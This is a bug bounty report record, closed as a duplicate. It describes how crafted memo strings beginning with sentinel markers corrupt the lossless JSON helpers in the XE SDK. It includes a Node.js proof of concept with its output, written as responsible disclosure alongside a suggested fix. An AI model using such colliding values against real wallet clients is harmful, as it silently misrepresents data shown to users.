{"id":"XE-0930","kind":"bounty","visibility":"public","source":"web","source_repo":"","source_ref":"","source_url":"","reporter_id":13,"title":"SDK JSON marker collisions corrupt lossless serialization in both directions","area":"sdk-docs-web","claimed_tier":"minor","assessed_tier":null,"verdict":"duplicate","duplicate_of":"XE-0008","tracked":true,"internal_ref":"#1086","internal_url":"https://github.com/xeprotocol/core/issues/1086","status":"closed","closed_reason":"duplicate","github_state":"","disclosed_at":null,"award_xe":null,"award_approved":false,"paid_ref":"","created_at":"2026-11-06T18:28:01.736475+00:00","updated_at":"2026-11-14T22:53:33.031826+00:00","source_created_at":null,"told_at":"2026-11-14T22:53:33.783383+00:00","status_changed_at":"2026-11-08T20:32:08.851462+00:00","url":"https://bounty.xe.network/XE-0930","body":"## Summary\r\nThe SDK lossless JSON helpers exist so wallet and job clients can round-trip uint64 amounts without turning them into IEEE floats. stringifyWithBigInts at sdk/src/json.ts:146-150 writes a bigint as the in-band token __bigint__ plus digits and then unquotes that token into a JSON number, and parseLossless at :121-130 first tags known uint64 keys with the MARK prefix defined at :41 and then revives any string that starts with MARK as a bigint. A peer-supplied memo or filename that begins with either sentinel therefore changes type on the way through the client: a user string __bigint__123456789012345678 leaves the wire as an unquoted number, and a string that starts with NUL xe-u64: plus 99 comes back as bigint 99. The node still sees ordinary JSON if it never runs this codec; the corruption is in the SDK parse and serialize path that wallets and jobs actually call. GitHub #45 is statechain gossip admission and xe-block.js is the web-wallet regex; desk XE-0115 named the stringify __bigint__ collision, and this is the matching parse-side MARK revival in the same json.ts file.\r\n\r\n## Affected components\r\nsdk/src/json.ts:41 MARK sentinel; sdk/src/json.ts:121-130 parseLossless (startsWith MARK revival); sdk/src/json.ts:146-150 stringifyWithBigInts (__bigint__ unquote) at sdk 0dbc92ecff709bee79768e4e37788c682a0f4525.\r\n\r\n## Impact\r\nA wallet or job client that displays a peer-supplied memo can show a number where the user typed a string, and a serialize of that sentinel produces JSON the parser cannot round-trip as a string. On-chain bytes are unchanged if the node rejects the wire; the SDK user cannot tell the original string from the revived bigint. Any attacker-influenced memo, chat text, or provider filename that collides with the sentinel is enough. Silent client-side type corruption; no chain-state change.\r\n\r\n## PoC\r\n\r\n```javascript\r\n#!/usr/bin/env node\r\n/** A1 — stringifyWithBigInts / parseLossless marker collisions with user memo content. */\r\nimport { parseLossless, stringifyWithBigInts } from './sdk.mjs'\r\n\r\nconst PIN = '0dbc92ecff709bee79768e4e37788c682a0f4525'\r\nconst MARK = '\\u0000xe-u64:'\r\nconst SENTINEL = '__bigint__123456789012345678'\r\n\r\nconsole.log(`PROVENANCE: sdk=${PIN} file=poc/round3/a1_json_marker.mjs`)\r\n\r\nconst controlMemo = 'hello world, invoice 42'\r\nconst controlBlock = { type: 'send', memo: controlMemo, amount: 1n, timestamp: 1700000000000000000n }\r\nconst controlWire = stringifyWithBigInts(controlBlock)\r\nconst controlParsed = parseLossless(controlWire)\r\nconsole.log(`CONTROL stringify=${controlWire}`)\r\nconsole.log(`CONTROL parse.memo=${JSON.stringify(controlParsed.memo)} amount_type=${typeof controlParsed.amount}`)\r\nconst controlOk = controlParsed.memo === controlMemo && typeof controlParsed.amount === 'bigint'\r\n\r\nconst attackBlock = { type: 'send', memo: SENTINEL, amount: 7n }\r\nconst attackWire = stringifyWithBigInts(attackBlock)\r\nconsole.log(`ATTACK stringify memo=${JSON.stringify(SENTINEL)} wire=${attackWire}`)\r\nlet attackParsed\r\nlet parseErr = ''\r\ntry {\r\n  attackParsed = parseLossless(attackWire)\r\n} catch (e) {\r\n  parseErr = String(e)\r\n}\r\nconst memoBecameNumber = attackParsed != null && typeof attackParsed.memo !== 'string'\r\nconst wireUnquoted = /\"memo\"\\s*:\\s*123456789012345678/.test(attackWire) || /\"memo\":123456789012345678/.test(attackWire)\r\nconst memoRepr = attackParsed == null ? 'ERR' : String(attackParsed.memo)\r\nconsole.log(`ATTACK parse.memo=${memoRepr} type=${attackParsed ? typeof attackParsed.memo : parseErr}`)\r\nconsole.log(`ATTACK wire_unquoted_memo=${wireUnquoted}`)\r\n\r\nconst markMemo = MARK + '99'\r\nconst markJson = JSON.stringify({ memo: markMemo, note: 'x' })\r\nlet markParsed\r\nlet markErr = ''\r\ntry {\r\n  markParsed = parseLossless(markJson)\r\n} catch (e) {\r\n  markErr = String(e)\r\n}\r\nconst markCorrupted = markParsed != null && typeof markParsed.memo === 'bigint' && markParsed.memo === 99n\r\nconsole.log(`PARSE-MARK input=${JSON.stringify(markMemo)} parsed_type=${markParsed ? typeof markParsed.memo : markErr} value=${markParsed ? String(markParsed.memo) : ''}`)\r\n\r\nif (controlOk && (wireUnquoted || memoBecameNumber)) {\r\n  console.log('PASS: serialize sentinel in memo is unquoted to a JSON number; CONTROL memo round-trips')\r\n  console.log(`VERDICT=CONFIRMED mark_parse_corrupted=${markCorrupted}`)\r\n  process.exit(0)\r\n}\r\nconsole.log(`KILL: controlOk=${controlOk} wireUnquoted=${wireUnquoted} memoBecameNumber=${memoBecameNumber}`)\r\nconsole.log('VERDICT=KILLED')\r\nprocess.exit(0)\r\n```\r\n\r\n```\r\nATTACK stringify memo=\"__bigint__123456789012345678\" wire={\"type\":\"send\",\"memo\":123456789012345678,\"amount\":7}\r\nPARSE-MARK input=\"\\u0000xe-u64:99\" parsed_type=bigint value=99\r\nPASS: serialize sentinel in memo is unquoted to a JSON number; CONTROL memo round-trips\r\n```\r\n\r\n## Suggested fix\r\nLeave user strings that start with MARK or __bigint__ as ordinary JSON strings instead of treating them as typed values. Put real bigint tags out of band so memo and filename text cannot collide with them.\r\n---","patch_refs":[],"thread":[{"id":3791,"source":"desk","source_ref":"reply:2533","author":"XE desk","team":true,"body":"Thanks. This is the same finding as https://bounty.xe.network/XE-0008, which was filed first; the programme pays the\nfirst verifiable submission, so this one closes as a duplicate. If you believe it is a different\nbug, file a new report that links https://bounty.xe.network/XE-0930 and says what differs; it is read like any other.","created_at":"2026-11-14T22:53:33.031826+00:00"}]}